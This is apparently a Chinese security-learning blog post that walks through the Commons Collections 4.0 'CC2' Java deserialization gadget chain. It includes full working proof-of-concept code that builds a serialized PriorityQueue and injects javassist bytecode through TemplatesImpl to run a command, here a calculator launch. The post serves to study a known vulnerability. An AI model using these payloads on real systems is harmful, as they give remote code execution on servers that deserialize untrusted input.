0x00 前言
继续来学习cc2,这个链需要一些前置知识所以前前后后看了好久才明白,同时也学到了很多
环境:jdk 1.7
在我们开始cc2的分析之前我们需要先知道下面三个前置知识:javasist,ClassLoader#defineClass,TemplatesImpl,cc2中就是就是结合这几块进行的触发
cc2中利用的是cc4.0,因为cc3.1中TransformingComparator没有继承自Serializable所以无法进行Java反序列化
0x01 javasist
首先Maven添加依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
通常我们需要将.java
编译成 .class
才能正常运行,在命令行中我们通常使用javac
来进行编译,利用编译生成的固定格式的字节码(.class) 来供jvm虚拟机进行使用,每一个class文件中都包含着一个java类和一个接口。
javasist就是一个处理字节码的类库,能够动态的修改class中的字节码
接下来简单介绍一下常用方法 :
ClassPool是一个CtClass对象的容器,一个CtClass必须从中进行获取,通过ClassPool.getDefault()
返回了默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径)
ClassPool pool = ClassPool.getDefault();
创建名为Evil的类
CtClass test = pool.makeClass("Evil");
添加类搜索路径,通过ClassPool.getDefault();
获取的 ClassPool
使用JVM的类进行搜索路径,但是如果程序运行在JBoss 或 Tomcat 有可能就会找不到用户的类,因为Web服务器会使用多个类加载器作为系统加载器,这时候我们必须要通过如下命令来添加我们的路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
设置要继承的类
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
创建一个空的类初始化器(静态构造函数)
CtConstructor constructor = test.makeClassInitializer();
将字节码插入到开头
constructor.insertBefore("System.out.println(\"Hello,Javasist\");");
将编译的类创建为.class
文件
test.writeFile("./");
Demo:
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;
public class JavasistTest {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass test = pool.makeClass("Evil");
String name = "Evil" + System.nanoTime();
test.setName(name);
String cmd = "System.out.println(\"Hello,Javasist\");";
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = test.makeClassInitializer();
constructor.insertBefore(cmd);
test.writeFile("./");
}
}
生成的.class
文件如下 :
0x02 ClassLoader#defineClass
ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类,加载过程中采用双亲委派来实现加载,这里只是简单介绍一下,后面会专门写文章来进行介绍
我们这里可以利用类加载器的defineClass方法来加载我们的字节码
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;
public class JavasistTest {
public static void main(String[] args) throws Exception{
//
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass test = pool.makeClass("Evil");
String name = "Evil" + System.nanoTime();
String cmd = "System.out.println(\"Hello,Javasist\");";
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = test.makeClassInitializer();
constructor.insertBefore(cmd);
test.writeFile("./");
byte[] bytes = test.toBytecode();
Class clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
claz.newInstance();
}
}
但是由于ClassLoader#defineClass方法是protected所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法
Class clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
claz.newInstance();
这里需要注意的是,ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令
0x03 TemplatesImpl
在TemplatesImpl类中定义了一个内部类
在这个类中对defineClass进行了重写,并且没有显式的对定义域进行声明,可以被外部进行调用
我们可以进行一系列的调用来触发,利用链如下:
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
这里我们利用TemplatesImpl来加载字节码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;
public class TemplatesTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clas = pool.makeClass("TempTest");
clas.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "System.out.println(\"Templates Test\");";
CtConstructor constructor = clas.makeClassInitializer();
constructor.insertBefore(cmd);
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"tttt");
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null);
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates,new byte[][]{bytes});
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
templates.getOutputProperties();
}
}
这里我们需要利用反射设置四个属性,同时javasist生成的类要继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
否则将无法到达触发点,我们一个个来进行分析
- 为什么要利用反射设置这四个属性
在getTransletInstance函数中,如果_name
为null则直接返回null,同时我们需要 _class
为null 从而进入defineTransletClasses方法
defineTransletClasses
函数中 我们需要将 _bytecodes
设置为我们要读取的字节码,然后在第二个红框处,我们也需要设置_tfactory
不然就会返回null,无法到达触发点
_tfactory
是TransformerFactoryImpl类,所以我们只需要传入new TransformerFactoryImpl()
就可以了
同时 _bytecodes
是 byte[][]
, 所以我们转换一下即可 new byte[][]{bytes}
- 为什么javasist生成的代码要继承自
AbstractTranslet
在TemplatesImpl
的 defineTransletClasses()
函数中在利用defineClass获取到我们的字节码之后会对读取的字节码进行一个判断,判断是否继承自AbstractTranslet
,所以我们在javasist生成字节码的时候要设置父类
不过我们可以发现上面的代码重复的太多,所以我们只需要简单的写一个static方法就可以了
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;
public class TemplatesTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clas = pool.makeClass("TempTest");
clas.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "System.out.println(\"Templates Test\");";
CtConstructor constructor = clas.makeClassInitializer();
constructor.insertBefore(cmd);
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"tttt");
setFieled(templates,temp,"_name","tttt");
setFieled(templates,temp,"_class",null);
setFieled(templates,temp,"_bytecodes",new byte[][]{bytes});
setFieled(templates,temp,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties();
}
public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{
Field _field = clas.getDeclaredField(fieled);
_field.setAccessible(true);
_field.set(templates,obj);
}
}
0x04 利用链分析
上面我们已经简单介绍过了三个前置知识,现在我们正式开始分析一下
在cc2中我们需要用到javasist和commonscollections4.0,在pom文件中添加如下依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
我们先来看一下利用链:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("open -a Calculator")
TransformingComparator
首先在cc2中利用了TransformingComparator
的compare
来触发transform
方法(感觉目前看下来cc主要就是花式触发transform方法),在compare
方法中会触发 this.transformer
的 transform
方法
接下来我们看看 this.transformer
是否可控,发现在构造函数中会将我们传入的transformer
赋值给this.transformer
属性
然后如果我们传入的obj1可控,那么我们就可以利用InvokerTransformer
任意类的任意方法
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true); // 修改作用域
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
所以接下来我们只需要找到能触发TransformingComparator.compare()
同时传入的参数可控,就可以利用InvokerTransformer
来执行我们的方法了,在cc2中用到了 PriorityQueue
来进行触发
条件:
- 能触发
TransformingComparator.compare()
- 传入
compare
函数的参数可控
PriorityQueue
首先我们先从 PriorityQueue.readObject()
开始看,发现会对传入的ObjectInputStream进行反序列化然后赋值给queue数组,既然是反序列化那么我们传入的肯定是我们通过序列化传入的数据
于是我们来看writeObject,发现在该方法中会将queue
属性作为传入的参数进行序列化,那么既然是属性我们自然可以利用反射来控制queue,所以这里queue可控
继续回到readObject()
,接下来跟进 heapify()
函数,由于上面说到由于利用反射所以queue可控,那么现在我们红框处也可控
继续来看 siftDown()
函数,如果comparator不为null,那么就会进入siftDownUsingComparator()
函数,此时x可控
进入siftDownUsingComparator()
函数,发现在红框处调用了comparator的compare函数, 同时这里的 x
可控(由于queue可控所以这里x可控)
这里我们利用反射设置comparator为TransformingComparator,同时x可控,那么这样就可以利用 InvokerTransformer
触发任意类的任意方法,所以这里可以利用cc1中的半段链,然后反射控制queue进行触发
所以这里我们可以构造如下Poc,利用cc1中的半段:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
TransformingComparator transformingComparator = new TransformingComparator(chain);
//也可通过构造函数直接进行传入
//PriorityQueue queue = new PriorityQueue(1,transformingComparator);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformingComparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxx/Desktop/evil.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("/Users/xxx/Desktop/evil.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
为什么这里queue要添加两个元素?
如果我们只添加一个的话,最终结果会为-1从而无法进入siftDown函数
但是我们可以发现在cc2中并没有用到这种方法,cc2中是利用javasist 和 TemplatesImpl,利用字节码来进行执行代码的,那么这里为什么不用上面的这种Poc呢?
因为上面的Poc只能执行命令,但是cc2中我们能够执行代码,所以执行代码能造成的危害会更加大,接下来我们来看一下cc2中的Poc
首先利用javasist生成字节码,然后利用上面的InvokerTransformer
触发TemplatesImpl
的newTransformer
从而读取恶意字节码从而进行执行命令
Poc 如下:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class CommonCollection2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
所以根据上面说到的,需要利用InvokerTransformer
触发TemplatesImpl
的newTransformer
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
所以我们从 compare
这里继续往下看
接下来就会进入到TemplatesImpl
的newTransformer
方法,是不是很熟悉?我们在介绍的TemplatesImpl
的时候就有提到过,我们这里再跟进一遍
进入TemplatesImpl
的getTransletInstance()
函数,这里利用反射让 _name
不为null,_class
为null即可
然后进入 defineTransletClasses()
方法,同样使用反射方法将_bytecodes
设置为javasist生成的字节码。
这里发现_tfactory
已经有值了所以我们不需要像上面那样再赋值了
然后利用defineClass读取字节码,并且赋值给_class,同时在第二个红框处判断是否继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,如果继承了就讲下标赋值给 _transletIndex
最后回到TemplatesImpl
的 getTransletInstance()
中在红框处对类进行了初始化,从而触发了我们的恶意代码
0x05 总结
通过这个cc2前前后后也学习了很多相关的东西,整体看下来感觉利用链非常的巧妙,在文章将之前折腾了很久的点都进行了说明,希望能帮助到看这篇文章的师傅们
0x06 参考链接
https://www.anquanke.com/post/id/219840#h3-8
https://paper.seebug.org/1242/#_10
https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html